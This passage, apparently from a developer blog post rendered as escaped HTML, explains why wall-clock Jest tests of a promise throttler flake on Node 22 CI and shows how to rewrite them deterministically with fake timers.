&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(r, remainingDelay))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two separate issues bite you:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;elapsed&lt;/code&gt; can be &lt;code&gt;1&lt;/code&gt; even when work feels instant.&lt;/strong&gt; Two &lt;code&gt;Date.now()&lt;/code&gt; calls can straddle a clock tick. Then &lt;code&gt;remainingDelay = 100 - 1&lt;/code&gt; → &lt;strong&gt;&lt;code&gt;setTimeout(..., 99)&lt;/code&gt;&lt;/strong&gt;. Your outer test that wraps the whole &lt;code&gt;throttle()&lt;/code&gt; in &lt;code&gt;Date.now()&lt;/code&gt; still expects ≥ 100 ms. The code is doing what the math says; the test assumed “minDelay 100 ⇒ at least 100 ms wall.”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;setTimeout(100)&lt;/code&gt; does not promise a ≥ 100 ms delta in &lt;code&gt;Date.now()&lt;/code&gt;.&lt;/strong&gt; Resolution is coarse. The event loop can fire the timer such that &lt;code&gt;end - start === 99&lt;/code&gt;. That’s intermittent, which is why you see it on one Node version and not others — different timer internals, same brittle assertion.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the first learning: &lt;strong&gt;a red test here often indicts the test, not the throttler.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;step-2-the-wrong-test-what-we-shipped-first&quot;&gt;Step 2: The wrong test (what we shipped first)&lt;/h2&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✗ Wrong — wall-clock, flaky on Node 22 CI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;should respect minimum delay between requests&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;throttler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;PromiseThrottler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;configure&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;startTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;mockPromise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mockResolvedValue&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;result&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throttle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(mockPromise)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;endTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(endTime &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startTime).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toBeGreaterThanOrEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reads clearly. It also couples the assertion to &lt;strong&gt;real time&lt;/strong&gt;, OS scheduling, and &lt;code&gt;Date.now()&lt;/code&gt; quantization. CI machines disagree with your laptop; Node 22 disagrees with 20 and 24.&lt;/p&gt;
&lt;h2 id=&quot;step-3-fake-timers-for-must-wait-mindelay-fast-promise&quot;&gt;Step 3: Fake timers for “must wait minDelay” (fast promise)&lt;/h2&gt;
&lt;p&gt;You want to prove: &lt;strong&gt;if the promise resolves immediately, the throttler still waits until &lt;code&gt;minDelay&lt;/code&gt; worth of time has passed.&lt;/strong&gt; Under Jest, that means controlling the clock.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✓ Correct — behavioral, deterministic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;should respect minimum delay between requests&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useFakeTimers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ now: Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;throttler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;PromiseThrottler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;configure&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;mockPromise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mockResolvedValue&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;result&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;finished&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throttle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(mockPromise)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;advanceTimersByTimeAsync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; finished&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(mockPromise).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveBeenCalledTimes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useRealTimers&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notes that matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useFakeTimers({ now: Date.now() })&lt;/code&gt;&lt;/strong&gt; — avoids starting at epoch 0 if anything logs or compares absolute times.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;await Promise.resolve()&lt;/code&gt;&lt;/strong&gt; — lets the microtask queue run so the mocked promise resolves and the internal &lt;code&gt;setTimeout(remainingDelay)&lt;/code&gt; is scheduled before you advance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;finally { jest.useRealTimers() }&lt;/code&gt;&lt;/strong&gt; — the same file has tests that use &lt;strong&gt;real&lt;/strong&gt; &lt;code&gt;setTimeout&lt;/code&gt; (e.g. a deliberate 100 ms slow promise). If you leave fake timers on, you’ll break those tests in confusing ways.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;step-4-the-second-flake--no-extra-delay-with-a-slow-promise&quot;&gt;Step 4: The second flake — “no extra delay” with a slow promise&lt;/h2&gt;
&lt;p&gt;After we fixed Step 3, CI still failed on the sibling test: same pattern, &lt;code&gt;&gt;= 100&lt;/code&gt; vs &lt;code&gt;99&lt;/code&gt;, but this time the slowness came from &lt;strong&gt;&lt;code&gt;setTimeout(..., 100)&lt;/code&gt; inside the mocked work&lt;/strong&gt;, not from &lt;code&gt;minDelay&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✗ Wrong — same wall-clock pitfall, different test name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;should not add extra delay if promise already took longer than minDelay&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;throttler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;PromiseThrottler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;configure&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;startTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;slowPromise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; jest.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mockImplementation&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Promise&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;result&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throttler.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throttle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(slowPromise)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;endTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(endTime &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startTime).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toBeLessThan&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;130&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(endTime &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startTime).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toBeGreaterThanOrEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
